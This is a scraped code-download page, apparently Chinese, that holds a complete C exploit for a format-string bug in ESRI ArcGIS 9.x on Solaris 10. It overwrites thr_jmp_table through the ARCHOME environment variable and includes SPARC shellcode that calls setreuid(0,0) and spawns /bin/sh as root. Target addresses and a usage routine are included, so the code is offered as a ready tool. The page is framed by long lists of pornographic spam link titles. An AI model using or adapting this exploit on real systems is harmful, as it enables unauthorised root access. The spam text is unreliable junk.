亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? esri arcgis 9.x arcstorm local format string (root) exploit.txt

?? 一些可以實現益出的程序
?? TXT
字號:
/** ESRI 9.x Arcgis local root format string exploit
**
** Copyright Kevin Finisterre and John H.
** Bug found by Kevin Finisterre <kf@digitalmunition.com>
** Exploit by John H. <johnh@digitalmunition.com>
**
** We overwrite the thr_jmp_table
** Tested on solaris 10
**/

#include <dlfcn.h>
#include <fcntl.h>
#include <link.h>
#include <procfs.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/systeminfo.h>

#define VULPROG "/export/home/arcgis/arcexe9x/bin/wservice"
#define NOP "\xa2\x1c\x40\x11"
int iType;

struct
{
unsigned long retloc;
unsigned long retaddr;
char *type;
}targets[] =
{

/* bash-2.05b$ nm /usr/lib/ld.so.1 | grep thr_jmp_table
0003a234 d thr_jmp_table
*/
{0xff3ea234,0xffbffba8,"SunOS 5.10sun 4u sparc SUNW"},
{0x41424344,0x41424344,"DEBUG"},
},v;

//shellcode taken from netric
char shellcode[] =
"55"

NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP
NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP
NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP
NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP
NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP
NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP
NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP
NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP
NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP
NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP

// setreuid(0,0);

"\x90\x1d\x80\x16" // xor %l6, %l6, %o0
"\x92\x1d\x80\x16" // xor %l6, %l6, %o1
"\x82\x10\x20\xca" // mov 0xca, %g1
"\x91\xd0\x20\x08" // ta 8

"\x90\x1d\x80\x16" // xor %l6, %l6, %o0
"\x92\x1d\x80\x16" // xor %l6, %l6, %o1
"\x82\x18\x40\x01" // xor %g1, %g1, %g1
"\x82\x10\x20\xcb" // mov 0x2e, %g1
"\x91\xd0\x20\x08" // ta 8 [setregid(0,0)]

"\x21\x0b\xd9\x19" // sethi %hi(0x2f646400), %l0
"\xa0\x14\x21\x76" // or %l0, 0x176, %l0
"\x23\x0b\xdd\x1d" // sethi %hi(0x2f747400), %l1
"\xa2\x14\x60\x79" // or %l1, 0x79, %l1
"\xe0\x3b\xbf\xf8" // std %l0, [ %sp - 0x8 ]
"\x90\x23\xa0\x08" // sub %sp, 8, %o0
"\x92\x1b\x80\x0e" // xor %sp, %sp, %o1
"\x82\x10\x20\x05" // mov 0x05, %g1
"\x91\xd0\x20\x08" // ta 8 [open("/dev/tty",RD_ONLY)]

"\x90\x10\x20\x02" // mov 0x02, %o0
"\x82\x10\x20\x29" // mov 0x29, %g1
"\x91\xd0\x20\x08" // ta 8 [dup(2)]

"\x21\x0b\xd8\x9a" // sethi %hi(0x2f626800), %l0
"\xa0\x14\x21\x6e" // or %l0, 0x16e, %l0
"\x23\x0b\xcb\xdc" // sethi %hi(0x2f2f7000), %l1
"\xa2\x14\x63\x68" // or %l1, 0x368, %l1
"\xe0\x3b\xbf\xf0" // std %l0, [ %sp - 0x10 ]
"\xc0\x23\xbf\xf8" // clr [ %sp - 0x8 ]
"\x90\x23\xa0\x10" // sub %sp, 0x10, %o0
"\xc0\x23\xbf\xec" // clr [ %sp - 0x14 ]
"\xd0\x23\xbf\xe8" // st %o0, [ %sp - 0x18 ]
"\x92\x23\xa0\x18" // sub %sp, 0x18, %o1
"\x94\x22\x80\x0a" // sub %o2, %o2, %o2
"\x82\x18\x40\x01" // xor %g1, %g1, %g1
"\x82\x10\x20\x3b" // mov 0x3b, %g1
"\x91\xd0\x20\x08" // ta 8 [execve("/bin/sh","/bin/sh",NULL)]

"\x82\x10\x20\x01" // mov 0x01, %g1
"\x91\xd0\x20\x08" // ta 8 [exit(?)]

"\x10\xbf\xff\xdf" // b shellcode
"\x90\x1d\x80\x16"; // or %o1, %o1, %o1

/* Big endian */
/* sparc */
char *putLong (char* ptr, long value)
{
*ptr++ = (char) (value >> 24) & 0xff;
*ptr++ = (char) (value >> 16) & 0xff;
*ptr++ = (char) (value >> 8) & 0xff;
*ptr++ = (char) (value >> 0) & 0xff;

return ptr;
}

/* main */
int main(int argc, char **argv)
{

unsigned long retaddr;
unsigned long retloc;
int offset = 23;
int dump_fmt=129;
int al = 1;
int i=0;
int x=0;
int c;
unsigned long hi,lo;
static unsigned long shift0,shift1;
char buf[9000];
char *args[24];
char *env[6];
char *ptr;
char padding[64];
char padding1[64];
char buf2[9000];

if (argc < 3) {
usage (argv[0]);
return -1;
}

while((c = getopt(argc, argv, "h:t:")) != EOF) {
switch(c) {
case 'h':
usage (argv[0]);
return 0;
case 't':
iType = atoi (optarg);
break;
default:
usage (argv[0]);
return 0;
}
}

if (argc < 2) { usage(argv[0]); exit(1); }

if( (iType<0) || (iType>=sizeof(targets)/sizeof(v)) )
{
usage(argv[0]);
printf("[-] Invalid type.\n");
return 0;
}

env[0] = shellcode;
env[1] = buf2;
env[2] = NULL;

args[0] = VULPROG;
args[1] = NULL;

retloc = targets[iType].retloc;
retaddr = targets[iType].retaddr;

hi = (retaddr >> 16) & 0xffff;
lo = (retaddr >> 0) & 0xffff;

shift0 = hi - offset - (dump_fmt * 8 + 16 + al);
shift1 = (0x10000 + lo) - hi;

memset(buf,0x00,sizeof(buf));
memset(buf2,0x00,sizeof(buf2));
ptr = buf;

for (i = 0; i < al; i++) {
*ptr++ = 0x41;
}

ptr = putLong (ptr, 0x41414141);
ptr = putLong (ptr, retloc);
ptr = putLong (ptr, 0x42424242);
ptr = putLong (ptr, retloc+2);

for (i = 0 ; i < dump_fmt; i ++) {
memcpy(ptr, "%.8x", 4);
ptr = ptr + 4;
}

strcat(ptr,"%.");
sprintf(ptr+strlen(ptr),"%u",shift0);
strcat(ptr,"lx%hn");

strcat(ptr,"%.");
sprintf(ptr+strlen(ptr),"%u",shift1);
strcat(ptr,"lx%hn");

strcat(buf2,"ARCHOME=");
memcpy(buf2+strlen(buf2),buf,strlen(buf));

execve (args[0], args, env);
perror ("execve");
return 0;
}

int usage(char *p)
{
int i;
printf( "Arcgis local root format string exploit\r\n");
printf( "Usage: %s <-t target>\n",p);
for(i=0;i<sizeof(targets)/sizeof(v);i++)
{
printf("%d\t%s\n", i, targets[i].type);
}
return 0;
}

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
欧美日韩国产美女| 欧美日韩成人在线| 亚洲一区二区三区在线看 | 91在线观看一区二区| 亚洲精品视频在线看| 777亚洲妇女| 成人黄色电影在线| 午夜天堂影视香蕉久久| 精品国产电影一区二区| 成人福利视频在线| 日韩精品成人一区二区三区 | 26uuuu精品一区二区| 91网站在线观看视频| 日韩福利视频导航| 中文字幕av不卡| 91精品国产综合久久久蜜臀粉嫩 | 日本伊人精品一区二区三区观看方式| 久久久九九九九| 欧美日韩电影在线| 成人开心网精品视频| 亚洲五月六月丁香激情| 欧美激情综合五月色丁香| 欧美日韩国产美女| 一本大道久久a久久综合| 国产在线一区观看| 午夜成人在线视频| 亚洲黄色在线视频| 中文字幕一区二区不卡| 精品国产一二三| 在线不卡免费欧美| 在线观看91精品国产入口| 99精品视频在线观看| 国产成人在线视频网站| 免费在线成人网| 亚洲大片免费看| 综合久久久久久| 精品久久五月天| 欧美久久久久免费| 在线观看视频91| 91免费看视频| 成人激情小说网站| 美女精品自拍一二三四| 日日夜夜精品免费视频| 亚洲综合自拍偷拍| 亚洲国产精品激情在线观看 | 91影院在线观看| 国产99久久久精品| 大胆欧美人体老妇| 成人午夜在线视频| 国产suv精品一区二区6| 奇米精品一区二区三区在线观看一| 国产日韩欧美精品一区| 久久久美女艺术照精彩视频福利播放| 日韩欧美国产高清| 精品入口麻豆88视频| 欧美一卡二卡三卡| 69av一区二区三区| 欧美一区二区三区免费视频 | 国产精品一线二线三线精华| 蜜桃久久精品一区二区| 免费精品99久久国产综合精品| 奇米影视一区二区三区| 蜜臀va亚洲va欧美va天堂| 日韩黄色在线观看| 美女视频黄a大片欧美| 精品亚洲成a人在线观看| 国产一区二区三区精品欧美日韩一区二区三区 | 欧美精品日日鲁夜夜添| 欧美日本韩国一区二区三区视频 | 337p粉嫩大胆色噜噜噜噜亚洲| 日韩一区二区在线播放| 日韩欧美在线123| 555夜色666亚洲国产免| 777午夜精品免费视频| 91精品国产一区二区人妖| 91精品国产乱| 26uuu另类欧美| 国产精品国产三级国产aⅴ无密码| 亚洲日本电影在线| 自拍av一区二区三区| 亚洲一级二级三级在线免费观看| 婷婷综合久久一区二区三区| 精东粉嫩av免费一区二区三区| 国产v日产∨综合v精品视频| 91在线观看下载| 欧美日韩国产综合视频在线观看 | 偷拍亚洲欧洲综合| 国产成人亚洲综合a∨婷婷图片| 国产白丝精品91爽爽久久| 91免费精品国自产拍在线不卡| 欧美性感一区二区三区| 日韩精品一区二区在线| 国产精品美女久久久久久久| 成人免费一区二区三区在线观看| 亚洲福利视频导航| 国产揄拍国内精品对白| 色诱亚洲精品久久久久久| 欧美高清性hdvideosex| 久久久精品人体av艺术| 一区二区欧美在线观看| 蜜桃视频第一区免费观看| 经典三级视频一区| 欧美在线综合视频| 2021久久国产精品不只是精品| 中文字幕一区二区三区在线不卡 | 欧美国产成人精品| 亚洲成av人片一区二区三区 | 欧美aaaaaa午夜精品| 波波电影院一区二区三区| 欧美另类一区二区三区| 国产精品伦一区| 亚洲成人第一页| 国产一区高清在线| 欧美男同性恋视频网站| 1024成人网| 加勒比av一区二区| 欧美四级电影网| 国产精品视频免费看| 久久激五月天综合精品| 91麻豆精品视频| 国产日韩一级二级三级| 美女一区二区久久| 欧美三片在线视频观看| 国产亚洲一区字幕| 日本午夜一本久久久综合| 色综合欧美在线视频区| 国产日韩精品一区二区三区在线| 亚洲va天堂va国产va久| 大美女一区二区三区| 久久久久久亚洲综合| 男女激情视频一区| 欧美精品精品一区| 亚洲综合一区二区| 成人欧美一区二区三区视频网页| 六月丁香婷婷色狠狠久久| 91精品国产综合久久精品性色| 日韩福利视频导航| 精品国产污污免费网站入口| 国产一区二区三区四区在线观看| 久久综合久久99| 福利一区在线观看| 国产精品久久久久久久第一福利| 成人黄色综合网站| 亚洲人精品一区| 欧美午夜精品理论片a级按摩| 无吗不卡中文字幕| 精品久久久久久亚洲综合网| 国产精品一区久久久久| 国产精品久久久久久久岛一牛影视 | 波多野结衣中文字幕一区| 国产精品的网站| 91黄色激情网站| 青椒成人免费视频| 久久综合狠狠综合久久激情| 丁香六月综合激情| 亚洲情趣在线观看| 欧美日韩国产综合久久| 国产在线一区二区| 亚洲图片另类小说| 51精品久久久久久久蜜臀| 国产美女在线观看一区| 一区视频在线播放| 欧美精三区欧美精三区| 国产美女精品在线| 亚洲视频免费在线观看| 在线播放欧美女士性生活| 精品在线亚洲视频| 亚洲欧美在线观看| 欧美男男青年gay1069videost| 久久99精品久久久久久国产越南| 国产免费成人在线视频| 91福利区一区二区三区| 麻豆久久久久久久| 中文在线资源观看网站视频免费不卡| 91社区在线播放| 免费一级欧美片在线观看| 国产精品每日更新| 91精品国产91久久综合桃花| 成人性生交大片免费看在线播放| 亚洲综合一区二区| 国产午夜亚洲精品羞羞网站| 欧美综合在线视频| 国产成人综合亚洲网站| 午夜激情综合网| 国产精品美女久久久久aⅴ国产馆 国产精品美女久久久久av爽李琼 国产精品美女久久久久高潮 | 国产成人av电影在线播放| 一区av在线播放| 久久久久久久久久久久电影| 欧美视频一区二区在线观看| 国产精品综合二区| 日韩成人免费电影| 中文在线一区二区| 欧美一区二区三区影视| 一本大道久久a久久综合婷婷| 国产乱码精品一区二区三区av| 天天做天天摸天天爽国产一区| 亚洲国产精品精华液ab| 欧美刺激午夜性久久久久久久| gogogo免费视频观看亚洲一| 国内精品伊人久久久久av一坑|